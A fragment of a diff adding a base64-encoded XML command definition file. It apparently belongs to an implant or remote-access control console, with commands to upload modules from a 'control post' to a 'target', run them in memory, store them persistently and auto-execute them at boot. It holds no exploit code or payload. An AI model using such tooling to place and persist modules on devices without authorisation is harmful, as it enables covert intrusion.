+ZWxwdGV4dD5EaXNhYmxlcyBib290IHBlcnNpc3RlbmNlIGZvciBhIG1vZHVsZSAoaS5lLiwgYXV0
+b21hdGljIGV4ZWN1dGlvbiBhdCBzdGFydHVwKS4gIEl0IGRvZXMgbm90IGFmZmVjdCB0aGUgbm9u
+LXZvbGF0aWxlIHN0b3JhZ2Ugb2YgdGhlIG1vZHVsZSwgb25seSB3aGV0aGVyIG9yIG5vdCB0aGUg
+bW9kdWxlIGlzIGF1dG9tYXRpY2FsbHkgZXhlY3V0ZWQgd2hlbiB0aGUgZGV2aWNlIHJlYm9vdHMu
+PC9oZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3By
+aW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMEM8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3By
+aW1pdGl2ZXMvPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxhdHRyaWJ1dGVzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+bW9kdWxlX3NldF9hdXRvZXhlY19hdHRy
+aWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Nb2R1bGUgSUQ8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8ZGVmYXVsdHZhbHVlLz4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MDcwMDAwMEM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8
+b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgICAgPGludmlzaWJsZV9hdHRyaWJ1dGVzPg0K
+ICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+bW9kdWxlX3NldF9hdXRvZXhlY19hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5GbGFnPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4N
+CiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1
+ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMEM8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgIDwv
+aW52aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgICAgPHBh
+cmFtZXRlcnM+DQogICAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAgICAgICAgIDxv
+cHRpb25hbF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1
+cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQog
+ICAgICAgICAgICAgIDx0aXRsZT5Nb2R1bGUgQXV0b2V4ZWMgRGlzYWJsZTwvdGl0bGU+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50Pm1vZHVsZV9zZXRfYXV0b2V4ZWNfYXR0cmliXzE8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwv
+bmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgIDwvY21kZ3JwPg0KICAgIDxjbWRncnAg
+dGl0bGU9Im1lbW9yeSI+DQogICAgICA8Y21kIHRpdGxlPSJzdGFydCI+DQogICAgICAgIDxoZWxw
+dGV4dD5FeGVjdXRlcyBhIG1vZHVsZSBhbHJlYWR5IHByZXNlbnQgb24gdGhlIHRhcmdldC48L2hl
+bHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0
+aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAwMDAwNzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0
+aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAg
+ICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5tb2R1bGVfbG9hZF9hdHRyaWJfMTwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Nb2R1bGUgSUQ8L25jdXJzZWxhYmVsPg0K
+ICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwv
+dHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8
+ZGVmYXVsdHZhbHVlLz4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDc8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfYXR0
+cmlidXRlcy8+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgICAgPHBhcmFtZXRlcnMvPg0K
+ICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5Nb2R1bGUgTWVtb3J5IFN0YXJ0PC90aXRs
+ZT4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+bW9kdWxlX2xvYWRfYXR0cmliXzE8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwv
+bmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgICAgPGNtZCB0aXRsZT0icmVzdGFydCI+
+DQogICAgICAgIDxoZWxwdGV4dD5SZWxvYWRzIHRoZSBtb2R1bGUgb24gdGhlIGRldmljZS48L2hl
+bHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0
+aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAwMDAwQjwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0
+aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAg
+ICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5yZWxvYWRfc3RvcmVkX2F0dHJpYl8xPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPm1vZHVsZSBndWlkPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJp
+bmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPGRlZmF1bHR2YWx1ZS8+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDBC
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFs
+X2F0dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxuY3Vyc2VzbGF5
+b3V0Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPHRpdGxlPk1vZHVsZSBNZW1vcnkgUmVzdGFydDwvdGl0bGU+DQogICAgICAgICAgICAg
+IDxlbGVtZW50PnJlbG9hZF9zdG9yZWRfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4N
+CiAgICAgIDwvY21kPg0KICAgIDwvY21kZ3JwPg0KICAgIDxjbWQgdGl0bGU9InNob3ciPg0KICAg
+ICAgPGhlbHB0ZXh0Pkxpc3RzIHRoZSBydW5uaW5nIHVzZXIgbW9kdWxlcyBvbiB0aGUgdGFyZ2V0
+LjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDA0PC9wcmltaXRpdmU+DQogICAg
+ICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXM+
+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgIDwv
+b3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxwYXJhbWV0
+ZXJzPg0KICAgICAgICA8cmVxdWlyZWRfcGFyYW1ldGVycy8+DQogICAgICAgIDxvcHRpb25hbF9w
+YXJhbWV0ZXJzPg0KICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iYSI+DQogICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD5tb2R1bGVfc2hvd19wYXJhbV9hPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJl
+bD5BbGw8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQog
+ICAgICAgICAgICAgIDx0eXBlZGVzYz5hPC90eXBlZGVzYz4NCiAgICAgICAgICAgICAgPGRlZmF1
+bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+NzAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8aGVscHRleHQ+TGlzdCBhbGwgbW9k
+dWxlcyBwcmVzZW50IG9uIHRoZSBkZXZpY2UuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICA8L29wdGlvbmFsX3BhcmFt
+ZXRlcnM+DQogICAgICA8L3BhcmFtZXRlcnM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5Nb2R1
+bGUgc2hvdzwvdGl0bGU+DQogICAgICAgICAgICA8ZWxlbWVudD5tb2R1bGVfc2hvd19wYXJhbV9h
+PC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAg
+ICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0ic3RhdHVzIj4N
+CiAgICAgIDxoZWxwdGV4dD5TaG93cyBzdGF0aXN0aWNzIGFib3V0IHRoZSBtb2R1bGUuPC9oZWxw
+dGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4N
+CiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDA8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9y
+ZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAg
+ICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0
+dHJpYnV0ZXMvPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJp
+YnV0ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAg
+ICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5Nb2R1bGUgU3RhdHVzPC90aXRsZT4NCiAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5
+b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InN0b3JlIj4NCiAgICAgIDxoZWxwdGV4
+dD5Db3BpZXMgdGhlIG1vZHVsZSBjYXBhYmlsaXRpZXMgc2V0dGluZ3MgZnJvbSB2b2xhdGlsZSBt
+ZW1vcnkgdG8gcGVyc2lzdGVudCBtZW1vcnkgb24gdGhlIHRhcmdldC48L2hlbHB0ZXh0Pg0KICAg
+ICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwNzAwMDAwMjwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3By
+aW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0
+aXZlcz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcy8+
+DQogICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgIDwvYXR0cmlidXRlcz4NCiAg
+ICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgPHRpdGxlPk1vZHVsZSBTdG9yZTwvdGl0bGU+DQogICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8
+L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJhZGQiPg0KICAgICAgPGhlbHB0ZXh0PkNvcGllcyB0aGUg
+c3BlY2lmaWVkIG1vZHVsZSBmcm9tIHRoZSBsb2NhbCBjb250cm9sIHBvc3QgdG8gdGhlIHRhcmdl
+dC48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmlt
+aXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAwMDAwRDwvcHJpbWl0aXZlPg0KICAg
+ICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVz
+Pg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwNzAwMDAwNzwvcHJpbWl0aXZlPg0KICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwNzAwMDAwQzwvcHJpbWl0aXZlPg0KICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQog
+ICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVk
+X2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAg
+PG5jdXJzZWlkPm1vZHVsZV9hZGRfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPk1vZHVsZSBJRDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXpl
+PjMyPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlLz4NCiAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDA3MDAwMDBEPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9j
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAg
+ICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8cGFy
+YW1ldGVycz4NCiAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAgICAgICA8b3B0aW9u
+YWxfcGFyYW1ldGVycz4NCiAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9Im0iPg0KICAgICAgICAg
+ICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICA8bmN1
+cnNlaWQ+bW9kdWxlX2FkZF9wYXJhbV9NPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5Nb3ZlIHRvIHBlcnNpc3RlbnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAg
+IDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVs
+dHZhbHVlPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDM8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk1vdmVzIHRoZSBtb2R1bGUgaW50byBwZXJzaXN0ZW50
+IG5vbi12b2xhdGlsZSBzdG9yYWdlIG9uIHRoZSB0YXJnZXQ7IGlmIG9taXR0ZWQsIHRoZSBtb2R1
+bGUgd2lsbCBubyBsb25nZXIgZXhpc3Qgb24gdGhlIGRldmljZSBhZnRlciBhIHJlc3RhcnQuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvcGFyYW1ldGVy
+Pg0KICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZSI+DQogICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tb2R1bGVf
+YWRkX3BhcmFtX0U8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkV4ZWN1dGU8
+L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5
+cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAg
+ICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MDcwMDAwMDc8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGhlbHB0ZXh0
+PkV4ZWN1dGUgdGhlIG1vZHVsZSBpbW1lZGlhdGVseSBhZnRlciBhZGRpbmcuPC9oZWxwdGV4dD4N
+CiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAg
+ICAgIDxwYXJhbWV0ZXIgZmxhZz0iYiI+DQogICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxz
+ZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tb2R1bGVfYWRkX3BhcmFt
+X0I8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkJvb3QgcGVyc2lzdGVuY2U8
+L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5
+cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAg
+ICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MDcwMDAwMEM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgbW9kdWxlIHdpbGwg
+YXV0b21hdGljYWxseSBleGVjdXRlIHdoZW5ldmVyIHRoZSBkZXZpY2UgaXMgcmVzdGFydGVkLjwv
+aGVscHRleHQ+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgPC9vcHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgPC9wYXJhbWV0ZXJzPg0K
+ICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICA8dGl0bGU+TW9kdWxlIEFkZDwvdGl0bGU+DQogICAgICAgICAgICA8
+ZWxlbWVudD5tb2R1bGVfYWRkX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICA8ZWxlbWVudD5tb2R1bGVfYWRkX3BhcmFtX008L2VsZW1lbnQ+DQog
+ICAgICAgICAgICA8ZWxlbWVudD5tb2R1bGVfYWRkX3BhcmFtX0U8L2VsZW1lbnQ+DQogICAgICAg
+ICAgICA8ZWxlbWVudD5tb2R1bGVfYWRkX3BhcmFtX0I8L2VsZW1lbnQ+DQogICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8
+L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJyZW1vdmUiPg0KICAgICAgPGhlbHB0ZXh0PkVsaW1pbmF0
+ZXMgdGhlIHNwZWNpZmllZCBtb2R1bGUgZnJvbSB0aGUgdGFyZ2V0LXMgbm9uLXZvbGF0aWxlIHN0
+b3JhZ2UuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRf
+cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDk8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0
+aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDg8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgPC9vcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0
+dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tb2R1bGVfcmVtb3ZlX2F0dHJp
+Yl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Nb2R1bGUgSUQ8L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+c3Ry
+aW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZS8+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAwMDAwOTwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+IDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0K
+ICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJl
+ZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICAgICAg
+PHBhcmFtZXRlciBmbGFnPSJzeCI+DQogICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwv
+Y2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5tb2R1bGVfcmVtb3ZlX3BhcmFt
+X1NYPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EaXNhYmxlIGV4ZWN1dGlv
+biBoYWx0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0K
+ICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDA4PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxo
+ZWxwdGV4dD5TdG9wIGV4ZWN1dGlvbiBvZiB0aGUgbW9kdWxlIGlmIGl0LXMgY3VycmVudGx5IHJ1
+bm5pbmcuICBJZiBvbWl0dGVkLCBhIG1vZHVsZSBjdXJyZW50bHkgZXhlY3V0aW5nIGluIHRoZSBo
+b3N0LXMgdm9sYXRpbGUgbWVtb3J5IHdpbGwgbm90IGJlIGFmZmVjdGVkIHVudGlsIHRoZSBkZXZp
+Y2UgcmVzdGFydHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICA8L29wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICA8
+L3BhcmFtZXRlcnM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQog
